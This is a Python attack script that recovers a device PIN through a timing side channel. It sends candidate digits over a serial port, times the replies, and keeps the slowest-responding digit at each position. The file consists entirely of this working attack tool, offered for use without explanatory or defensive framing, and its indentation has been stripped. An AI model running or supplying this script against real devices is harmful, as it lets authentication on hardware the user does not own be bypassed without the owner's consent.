import serial
import time
import argparse
# Constants
SERIAL_PORT = '/dev/ttyUSB0'
BAUD_RATE = 9600
PREFIX = ""
ATTEMPTS = 3
DELAY = 0.8
KEYSPACE = ["1", "2", "3", "4"]
BYTE_SIZE = 10 # 8 data bits + 1 start bit + 1 stop bit
def get_response_time(serial_port, message):
"""
Function to send message, wait for response, and measure response time.
"""
serial_port.flushInput()
first_line_received = False
for i, char in enumerate(message):
time.sleep(DELAY)
serial_port.write(char.encode())
if i < len(message)-1:
raw_response = serial_port.readline()
raw_response = b''
while True:
byte = serial_port.read(1)
if byte:
if byte == b'\n' and not first_line_received:
first_line_received = True
elif first_line_received:
start_time = time.time()
break
final_response = serial_port.readline().decode(errors='ignore').strip()
response_time = time.time() - start_time
print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
time.sleep(DELAY)
return final_response, response_time
def calculate_average_response_time(serial_port, message):
"""
Calculate average response time over multiple attempts.
"""
total_time = 0
response_times = []
for _ in range(ATTEMPTS):
response, response_time = get_response_time(serial_port, message)
total_time += response_time
response_times.append(response_time)
average_time = total_time / ATTEMPTS
print(f"\r{message} average: {average_time:.4f} seconds - ", flush=True)
return average_time, response_times
def identify_sequence(serial_port, length):
"""
Identify the complete sequence of characters by sending test sequences.
"""
prefix = ""
for pos in range(length):
slowest_avg = float('-inf')
best_digit = None
for key in KEYSPACE:
message = prefix + key + key * (length - len(prefix) - 1)
print(f"Testing: {message}", end='', flush=True)
avg_time, _ = calculate_average_response_time(serial_port, message)
if avg_time > slowest_avg:
slowest_avg = avg_time
best_digit = key
prefix += best_digit
print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
return prefix
def estimate_serial_time(message_length):
"""
Estimate time taken for serial communication based on baud rate.
"""
bits_per_second = BAUD_RATE
chars_per_second = bits_per_second / BYTE_SIZE
time_per_char = 1 / chars_per_second
return message_length * time_per_char
def main():
parser = argparse.ArgumentParser(description="PIN length argument")
parser.add_argument("length", type=int, help="Length of the PIN to test")
args = parser.parse_args()
length = args.length
max_attempts = len(KEYSPACE) * length * ATTEMPTS
serial_time = estimate_serial_time(length * len(KEYSPACE))
estimated_time = max_attempts * (DELAY + DELAY + serial_time + 0.05) # Adjusted for serial delay and print time
print(f"########################################################")
print(f"# Attempts: {ATTEMPTS} - Delay: {DELAY} ")
print(f"# Maximum possible attempts: {max_attempts} ")
print(f"# Estimated maximum time: {estimated_time:.2f} seconds ")
print(f"########################################################")
start_time = time.time() # Record the start time
start_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(start_time))
print(f"Started at {start_timestamp}")
with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
print(f"Starting sequence identification on port {SERIAL_PORT} with PIN length {length}...")
sequence = identify_sequence(serial_port, length)
print(f"########################################################")
print(f"# Identified sequence: {sequence}")
print(f"########################################################")
end_time = time.time() # Record the end time
end_timestamp = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(end_time))
elapsed_time = end_time - start_time # Calculate total time taken
# Convert elapsed time to appropriate format
if elapsed_time > 3600: # More than 1 hour
hours = int(elapsed_time // 3600)
minutes = int((elapsed_time % 3600) // 60)
time_str = f"{hours}h {minutes}m"
elif elapsed_time > 60: # More than 1 minute
minutes = int(elapsed_time // 60)
seconds = int(elapsed_time % 60)
time_str = f"{minutes}m {seconds}s"
else:
time_str = f"{elapsed_time:.2f} seconds"
print(f"\nFinished at {end_timestamp}")
print(f"Total execution time: {time_str}")
if __name__ == '__main__':
main()